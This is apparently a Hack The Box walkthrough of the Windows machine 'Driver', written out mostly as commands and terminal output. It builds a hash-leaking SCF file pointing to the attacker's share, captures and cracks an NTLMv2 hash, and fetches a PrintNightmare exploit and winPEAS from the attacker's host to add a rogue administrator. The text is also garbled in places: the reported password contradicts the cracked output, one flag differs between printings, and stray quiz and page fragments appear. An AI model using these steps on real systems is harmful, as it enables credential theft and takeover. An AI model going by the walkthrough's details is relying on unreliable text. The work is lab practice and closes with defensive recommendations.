


Hack The Box – Driver Walkthrough Report

Report Prepared By: Azizul Rahaman

1. Introduction

Driver is an easy-rated Windows machine on Hack The Box that showcases a combination of web exploitation, SMB relay attacks using SCF files, and post-exploitation with WinRM. The attacker gains an initial foothold through a printer firmware upload feature and leverages Responder to capture NTLM hashes, eventually cracking them and using Evil-WinRM for remote access. Privilege escalation is achieved via a PrintNightmare exploit.



2. Reconnaissance

We began with an aggressive Nmap scan to identify open ports and services: `nmap -A 10.10.11.106`

```
File Edit View Search Terminal Help
[*]$ nmap -A 10.10.11.106
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-14 06:20 CDT
Nmap scan report for 10.10.11.106
Host is up (0.080s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
| http-auth:
|_ HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_ http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone
Running (JUST GUESSING): Microsoft Windows 2008|Phone (87%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (87%), Microsoft Windows 8.1 Update 1 (85%), Microsoft Windows Phone 7.5 or
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
|_ authentication_level: user
|_ challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m58s
|_ smb2-time:
|_ date: 2025-05-14T18:21:10
|_ start_date: 2025-05-14T18:19:20
|_ smb2-security-mode:
|_ 3.1:1:
|_ Message signing enabled but not required

TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 79.84 ms 10.10.14.1
2 80.31 ms 10.10.11.106

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.50 seconds
[eu-vip-2]-[10.10.14.10]-[azizulrahman@htb-y574bcparn]-[~]
[*]$ nedit /etc/hosts | grep 10 10 11 106
```


Findings:

- Port 80: HTTP - Microsoft IIS 10.0
- Port 135: MS RPC
- Port 445: SMB (Microsoft-ds)

To prepare for hostname resolution, we modified the /etc/hosts file: `sudo nano /etc/hosts`

```
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]  
[★]$ sudo nano /etc/hosts  
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]
```


And added this line: 10.10.11.106 driver.htb




```
GNU nano 7.2 /etc/hosts I  
1 127.0.0.1 localhost  
2 127.0.1.1 debian12-parrot  
3 10.10.11.106 driver.htb  
4 # The following lines are desirable for IPv6 capable hosts  
5 ::1 localhost ip6-localhost ip6-loopback  
6 ff02::1 ip6-allnodes  
7 ff02::2 ip6-allrouters  
8 127.0.0.1 localhost  
9 127.0.1.1 htb-y574bcparn htb-y574bcparn.htb-cloud.com  
0  
[ Read 9 lines ]  
G Help ^O Write Out ^W Where Is ^K Cut ^T Execute ^C Location  
X Exit ^R Read File ^\ Replace ^U Paste ^J Justify ^/ Go To Line
```

3. Web Enumeration & SCF File Upload

Visiting `http://10.10.11.106`, That confirms the print service is running on it. Now we look at port 80 and see it's a login page for printer management software with credentials needed.




The hint there is admin, I tried the obvious admin:admin which got me in



The only page that works is the Firmware Updates one

This page tells us that the file uploaded will be manually reviewed by a team, this suggests that the files are likely accessed or executed as part of the review procedure, therefore if we upload a payload that establishes a reverse shell we could initiate a connection from target system to our Kali machine.

We can create a .scf file (Shell Command File) that we can further use to force the system to access a remote SMB share, prompting it to send NTLM authentication credentials that Responder can potentially capture.



We used Google to research .scf attacks and discovered a method to trigger SMB authentication by uploading an .scf file.

```
Parrot Te
File Edit View Search Terminal Help
[Shell]$
Command=2$
IconFile=\\10.10.14.10\share\MCYN647$
[Taskbar]$
Command=ToggleDesktop$
~
~
```

```
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]
[*]$ nano attacker.scf
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]
[*]$ gem install evil-winrm
```

Saved as attacker.scf and uploaded via the firmware update form


4. Responder for Hash Capture

With the SCF file in place, we started Responder: `sudo responder -l tun0`

[illegible]

Captured an NTLMv2 hash for user tony

And upload the file into the website :



Captured an NTLMv2 hash for user tony.

[illegible]

5. Cracking the Hash & Getting Initial Access

We saved the hash into a file named hash and ran john to crack it using the rockyou.txt wordlist:

```
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```



```

[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]
[*]$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
fopen: /usr/share/wordlists/rockyou.txt: No such file or directory
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]
[*]$ sudo gunzip /usr/share/wordlists/rockyou.txt.gz
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]
[*]$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
lilTony          (Tony)
1g 0:00:00:00 DONE (2025-05-14 06:42) 33.33g/s 1092Kp/s 1092Kc/s 1092KC/s !!!!!..eatme1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]

```

Password found: !!!!!..eatme1

I confirmed WinRM was open: nmap -p5985 10.10.11.106

```

[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]
[*]$ nmap -p5985 10.10.11.106
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-14 06:39 CDT
Nmap scan report for driver.htb (10.10.11.106)
Host is up (0.080s latency).

PORT      STATE SERVICE
5985/tcp  open  wsman

Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]

```

We used Evil-WinRM to log in: evil-winrm -i 10.10.11.106 -u tony -p '!!!!..eatme1'


```

File Edit View Search Terminal Help
[*]$ locate evil-winrm
/usr/bin/evil-winrm
/usr/share/doc/evil-winrm
/usr/share/doc/evil-winrm/changelog.Debian.gz
/usr/share/doc/evil-winrm/copyright
/usr/share/rubygems-integration/all/gems/evil-winrm-3.5
/usr/share/rubygems-integration/all/gems/evil-winrm-3.5/bin
/usr/share/rubygems-integration/all/gems/evil-winrm-3.5/bin/evil-winrm
/usr/share/rubygems-integration/all/specifications/evil-winrm-3.5.gemspec
/var/lib/dpkg/info/evil-winrm.list
/var/lib/dpkg/info/evil-winrm.md5sums
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]
[*]$ cd evil-winrm
bash: cd: evil-winrm: No such file or directory
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]
[*]$ git clone https://github.com/Hackplayers/evil-winrm.git
Cloning into 'evil-winrm'...
remote: Enumerating objects: 1530, done.
remote: Counting objects: 100% (271/271), done.
remote: Compressing objects: 100% (119/119), done.
remote: Total 1530 (delta 187), reused 171 (delta 151), pack-reused 1259 (from 3)
Receiving objects: 100% (1530/1530), 2.76 MiB | 47.15 MiB/s, done.
Resolving deltas: 100% (912/912), done.
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]
[*]$ cd evil-winrm
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~/evil-winrm]
[*]$ ./evil-winrm.rb

Evil-WinRM shell v3.7

Error: missing argument: ip, user

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HA
SH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
-s, --ssl Enable ssl
-a, --user-agent USERAGENT Specify connection user-agent (default Microsoft WinRM Client)
-c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate
-k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate
-r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using thi
s format -> CONTOSO.COM = { kdc = fooserver.contoso.com }
-s, --scripts PS_SCRIPTS_PATH Powershell scripts local path
--spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP)
-e, --executables EXES_PATH C# executables local path
-i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required)
-U, --url URL Remote url endpoint (default /wsman)
-u, --user USER Username (required if not using kerberos)
-p, --password PASS Password
-H, --hash HASH NTHash
-P, --port PORT Remote host port (default 5985)
-V, --version Show version
-n, --no-colors Disable colors
-N, --no-rpath-completion Disable remote path completion
-l, --log Log the WinRM session
-h, --help Display this help message
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~/evil-winrm]
[*]$ ./evil-winrm.rb -u tony -p liltony -i 10.10.11.106

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is
unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path
-completion

Info: Establishing connection to remote endpoint

```

Confirmed user access: whoami

```
*Evil-WinRM* PS C:\Users\tony\Documents> ./evil-winrm.rb -u tony -p liltony -i 10.10.11.106
The term './evil-winrm.rb' is not recognized as the name of a cmdlet, function, script file, or operable
program. Check the spelling of the name, or if a path was included, verify that the path is correct
and try again.
At line:1 char:1
+ ./evil-winrm.rb -u tony -p liltony -i 10.10.11.106
+ ~~~~~
+ CategoryInfo          : ObjectNotFound: (./evil-winrm.rb:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Users\tony\Documents> whoami
driver\tony
*Evil-WinRM* PS C:\Users\tony\Documents> Get-WmiObject win32_service | Select-Object Name,DisplayName,
StartName,PathName | Format-List
Access denied
At line:1 char:1
+ Get-WmiObject win32_service | Select-Object Name,DisplayName,StartNam ...
+ ~~~~~
+ CategoryInfo          : InvalidOperation: (:) [Get-WmiObject], ManagementException
+ FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjectComm
and
*Evil-WinRM* PS C:\Users\tony\Documents>
```

Located the user flag: cd C:\Users\tony\Desktop

type user.txt

```
*Evil-WinRM* PS C:\Users\tony\Documents>
*Evil-WinRM* PS C:\Users\tony\Documents> sc queryex type= service
A positional parameter cannot be found that accepts argument 'service'.
At line:1 char:1
+ sc queryex type= service
+ ~~~~~
+ CategoryInfo          : InvalidArgument: (:) [Set-Content], ParameterBindingException
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell.Commands.SetContentComm
and
*Evil-WinRM* PS C:\Users\tony\Documents> cd ..
*Evil-WinRM* PS C:\Users\tony> cd Desktop
*Evil-WinRM* PS C:\Users\tony\Desktop> dir

Directory: C:\Users\tony\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---           5/14/2025  11:20 AM             34 user.txt

*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt
5f03f7c469ec9a9975dee16c9c942a45
```

User Flag: 5f03f7c469ec9a9975dee16cec942a45

```
*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt
5f03f7c469ec9a9975dee16cec942a45
*Evil-WinRM* PS C:\Users\tony\Desktop>
```

6. Enumeration with WinPEAS

We hosted winPEASany.exe using a Python HTTP server: `python3 -m http.server 8000`

```
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]
[*]$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.106 - - [14/May/2025 07:51:40] "GET /winPEASany.exe HTTP/1.1" 200 -
```

Downloaded it on the victim:

Invoke-WebRequest "http://10.10.14.10:8000/winPEASany.exe" -OutFile winpeas.exe

```
*Evil-WinRM* PS C:\Users\tony\Desktop>
*Evil-WinRM* PS C:\Users\tony\Desktop> cd ..
*Evil-WinRM* PS C:\Users\tony> cd Documents
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-WebRequest "http://10.10.14.10:8000/winPEASx64.exe" -OutFile winpeas.exe
The remote server returned an error: (404) Not Found.
At line:1 char:1
+ Invoke-WebRequest "http://10.10.14.10:8000/winPEASx64.exe" -OutFile w ...
+ ~~~~~
+ CategoryInfo          : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException
+ FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
*Evil-WinRM* PS C:\Users\tony\Documents> dir
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-WebRequest "http://10.10.14.10:8000/winPEASany.exe" -OutFile winpeas.exe
*Evil-WinRM* PS C:\Users\tony\Documents>
*Evil-WinRM* PS C:\Users\tony\Documents> dir

Directory: C:\Users\tony\Documents

Mode                LastWriteTime         Length Name
----                -
-a----           5/14/2025 12:51 PM        10144768 winpeas.exe

*Evil-WinRM* PS C:\Users\tony\Documents>
```

Ran the enumeration tool:

7. Exploiting PrintNightmare (CVE-2021-1675)

We cloned the CVE exploit repo: `git clone https://github.com/calebstewart/CVE-2021-1675.git`

```
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]
[*]$ git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675
Cloning into 'CVE-2021-1675'...
remote: Enumerating objects: 40, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 40 (delta 1), reused 1 (delta 1), pack-reused 37 (from 1)
Receiving objects: 100% (40/40), 127.17 KiB | 5.78 MiB/s, done.
Resolving deltas: 100% (9/9), done.
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~/CVE-2021-1675]
[*]$
```

Hosted the PowerShell script: `python3 -m http.server 8001`

```
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~/CVE-2021-1675]
[*]$ python3 -m http.server 8001
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
10.10.11.106 - - [14/May/2025 08:03:26] "GET /CVE-2021-1675.ps1 HTTP/1.1" 200 -
```

Downloaded and executed it on the victim:

`Invoke-WebRequest "http://10.10.14.10:8001/CVE-2021-1675.ps1" -OutFile CVE-2021-1675.ps1`

`Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force`

`Import-Module .\CVE-2021-1675.ps1`

```
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-WebRequest "http://10.10.14.10:8001/CVE-2021-1675.ps1" -OutFile CVE-2021-1675.ps1
*Evil-WinRM* PS C:\Users\tony\Documents> Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force;
*Evil-WinRM* PS C:\Users\tony\Documents> import-module .\CVE-2021-1675.ps1
*Evil-WinRM* PS C:\Users\tony\Documents> net user
```

User accounts for \\

```
-----
Administrator          DefaultAccount          Guest
tony
```

The command completed with one or more errors.

```
*Evil-WinRM* PS C:\Users\tony\Documents>
```

```
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare -DriverName "Xerox" -NewUser "sam" -NewPassword "root"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user sam as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
*Evil-WinRM* PS C:\Users\tony\Documents>
```

We used the exploit to create a new administrator user:

Invoke-Nightmare -DriverName "Xerox" -NewUser "sam" -NewPassword "root"

```
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare -DriverName "Xerox" -NewUser "sam" -NewPassword "root"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user sam as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
*Evil-WinRM* PS C:\Users\tony\Documents> net user

User accounts for \.

-----
Administrator          DefaultAccount          Guest
sam                     tony
The command completed with one or more errors.
*Evil-WinRM* PS C:\Users\tony\Documents>
```

8. Privilege Escalation and Root Flag

Logged in with the new sam user: evil-winrm -i 10.10.11.106 -u sam -p root

```
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~]
[*]$ cd evil-winrm
[eu-vip-2]-[10.10.14.10]-[azizulrahaman@htb-y574bcparn]-[~/evil-winrm]
[*]$ ./evil-winrm.rb -u sam -p root -i 10.10.11.106

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_det
ection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplay
ers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sam\Documents> cd ..
*Evil-WinRM* PS C:\Users\sam> cd ..
```

Navigated to the Administrator's Desktop:

```
cd C:\Users\Administrator\Desktop
```

```
dir
```

```
type root.txt
```

```
*Evil-WinRM* PS C:\Users> dir

Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -
d-----          9/16/2021  12:48 PM             Administrator
d-----          9/28/2021  12:13 PM      DefaultAppPool
d-r---          6/11/2021   7:06 AM             Public
d-----          5/14/2025   1:09 PM              sam
d-----          9/10/2021   8:23 AM             tony

*Evil-WinRM* PS C:\Users> 
```

```
*Evil-WinRM* PS C:\Users> cd Administrator
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar---          5/14/2025  11:20 AM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> 
```


Root Flag: d49cb87f8b442307b28fbc1d6eed3f1b

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
d49cb87f8b442307b28fbc1d6eed3f1b
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

We're prompted for log on credentials when accessing the target over HTTP. What username is disclosed when looking at the HTTP response headers?

Submit

Task 1

Task 2

Task 3

Task 4

Submit

Submit

Submit

Task 7

What

file



Driver has been Pwned!

Congratulations  **azizulrahan**, best of luck in capturing flags ahead!

#11895

14 May 2025

RETIRED

MACHINE RANK

PWN DATE

MACHINE STATE

OK

SHARE

9. Conclusion

The **Driver** box offers an excellent exercise in real-world SMB abuse and Windows privilege escalation. From an insecure file upload portal to NTLM hash leaks and PrintNightmare privilege escalation, this machine reinforces the importance of secure file handling and regular patching.

10. Security Recommendations

- Disable SMBv1, LLMNR, and NetBIOS name resolution
- Validate and sanitize file uploads
- Patch Windows print spooler vulnerabilities
- Restrict WinRM access to known IPs only

11. Tools Used

- **Nmap** – Port scanning and service detection
- **Responder** – Capturing NTLM hashes
- **John the Ripper** – Cracking NTLMv2 hash
- **Evil-WinRM** – Remote WinRM access
- **winPEAS** – Privilege escalation enumeration
- **CVE-2021-1675** – PrintNightmare exploit
- **Python HTTP server** – File hosting

12. Real-World Relevance

This box simulates attacks often seen in corporate networks:

- Upload portals not properly validating content
- NTLMv2 hash leaks via SCF files
- Unpatched print spooler vulnerabilities

The techniques used here can help identify similar weaknesses during internal assessments or red team operations.